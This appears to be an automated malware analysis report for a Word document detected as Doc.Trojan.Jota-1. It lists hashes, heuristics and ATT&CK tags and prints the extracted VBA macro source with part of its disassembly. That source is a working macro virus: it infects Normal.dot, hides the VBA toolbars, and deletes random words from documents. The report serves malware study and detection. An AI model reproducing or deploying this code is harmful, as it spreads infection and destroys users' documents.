Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db0cf495269791d1…

MALICIOUS

Office (OLE)

30.0 KB Created: 2001-06-05 17:09:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8d00528edac8c4e13b8530f270ff9c61 SHA-1: 33ccc145b2a856ceed02c823c9a34d4039c0b475 SHA-256: db0cf495269791d173633e03cc73c9e0a61556137396e724f10aa1bcdafc53f0
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro attempts to copy code between the active document and the Normal.dot template, and modifies their names to 'dllAD1k' and 'dllnt1k' respectively. This behavior is indicative of malware attempting to establish persistence or prepare for further execution, aligning with the ClamAV detection of 'Doc.Trojan.Jota-1'.

Heuristics 3

  • ClamAV: Doc.Trojan.Jota-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jota-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10340 bytes
SHA-256: 2db4e31c21d0de9b0a97d6c4ba5f808f4262e4eae6492301802bab1f50aac8b3
Detection
ClamAV: Doc.Trojan.Jota-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "dllAD1k"
Attribute VB_Base = "1Normal.dllnt1k"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

















Private Sub Document_Open()
CommandBars("Visual Basic").Visible = False
CommandBars("Stop Recording").Visible = False
On Error Resume Next
Dim jota As Integer, i As Integer, y As Integer, cadecodi As String
 Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
 Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
y = 0
jota = 0
'AD
If nt.Name <> "dllnt1k" Then
GoSub killoldnt:
polncopynt:
copynt:
  y = y + 1
 cadecodi = ad.codemodule.Lines(jota, 1)
     nt.codemodule.InsertLines y, cadecodi
jota = jota + 1
If nt.codemodule.Lines(jota, 1) = "End Sub" Then ww = 1
If y > 500 Then GoTo xxxxxx2:
If ww = 1 Then www = www + 1
If www > 4 Then GoTo xxxxxx4:
GoTo copynt:
xxxxxx4:
   nt.Name = "dllnt1k"
   NormalTemplate.Save
GoTo xxxxxx2:
Else
End If
'nt
If ad.Name <> "dllAD1k" Then
GoSub killoldad:
copyAD:
     y = y + 1
     cadecodi = nt.codemodule.Lines(jota, 1)
      ad.codemodule.InsertLines y, cadecodi
     If cadecodi = "'tttn" Then GoTo eeee
GoTo rrr:
eeee:
      jota = jota + 1
     cadecodi = nt.codemodule.Lines(jota, 1)
     If cadecodi = "'ttte" Then jota = jota - 2: GoTo rrr
     GoTo eeee:
rrr:
     jota = jota + 1
If nt.codemodule.Lines(jota, 1) = "End Sub" Then ww1 = 1
If ww1 = 1 Then www1 = www1 + 1
If y > 500 Then GoTo xxxxxx2:
If www1 > 4 Then GoTo xxxxxx3:
GoTo copyAD:
xxxxxx3:
  ad.Name = "dllAD1k"
   ActiveDocument.SaveAs ActiveDocument.FullName
GoTo xxxxxx2:
Else
End If
polncopynt1:
copynt1:
cadecodi = nt.codemodule.Lines(jota, 1)
If cadecodi = "'tttn" Then ddd = jota: GoTo xxxxxx1:
jota = jota + 1
If nt.codemodule.Lines(jota, 1) = "End Sub" Then ww = 1
If jota > 300 Then GoTo xxxxxx2:
GoTo copynt1:
xxxxxx1:
ddd = ddd + 1
kk1 = nt.codemodule.Lines(ddd, 1)
If kk1 > 200 Then GoTo eeee11:
nt.codemodule.InsertLines ddd, Val(kk1) + 1
NormalTemplate.Save
GoTo xxxxxx2:
'tttn
1
'ttte
eeee11:
For dd = 1 To 100
ActiveDocument.Content.Find.Execute FindText:=",", ReplaceWith:=" áë˙" ', Replace:=wdReplaceAll, Format:=True
ActiveDocument.Words(Int(Rnd * 500)).Delete
Next dd
ActiveDocument.SaveAs ActiveDocument.FullName
ActiveDocument.Close
GoTo xxxxxx2:
killoldad:
For kil = 1 To 1000
ad.codemodule.DeleteLines 1
Next kil
Return
killoldnt:
For kil = 1 To 1000
nt.codemodule.DeleteLines 1
Next kil
Return
xxxxxx2:
End Sub




' Processing file: /opt/analyzer/scan_staging/13e390fcdb48455291736b3ed7d7d662.bin
' ===============================================================================
' Module streams:
' Macros/VBA/dllAD1k - 5291 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Line #16:
' Line #17:
' 	FuncDefn (Private Sub Document_Open())
' Line #18:
' 	LitVarSpecial (False)
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Visible 
' Line #19:
' 	LitVarSpecial (False)
' 	LitStr 0x000E "Stop Recording"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Visible 
' Line #20:
' 	OnError (Resume Next) 
' Line #21:
' 	Dim 
' 	VarDefn jota (As Integer)
' 	VarDefn i (As Integer)
' 	VarDefn y (As Integer)
' 	VarDefn cadecodi (As String)
' Line #22:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ad 
' Line #23:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set nt 
' Line #24:
' 	LitDI2 0x0000 
' 	St y 
' Line #25:
' 	LitDI2 0x0000 
' 	St jota 
' Line #26:
' 	QuoteRem 0x0000 0x0002 "AD"
' Line #27:
' 	Ld nt 
' 	MemLd New 
' 	LitStr 0x0007 "dllnt1k"
' 	Ne 
' 	IfBlock 
' Line #28:
' 	GoSub killoldnt 
' 	BoS 0x0000 
' Line #29:
' 	Label polncopynt 
' Line #30:
' 	La
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.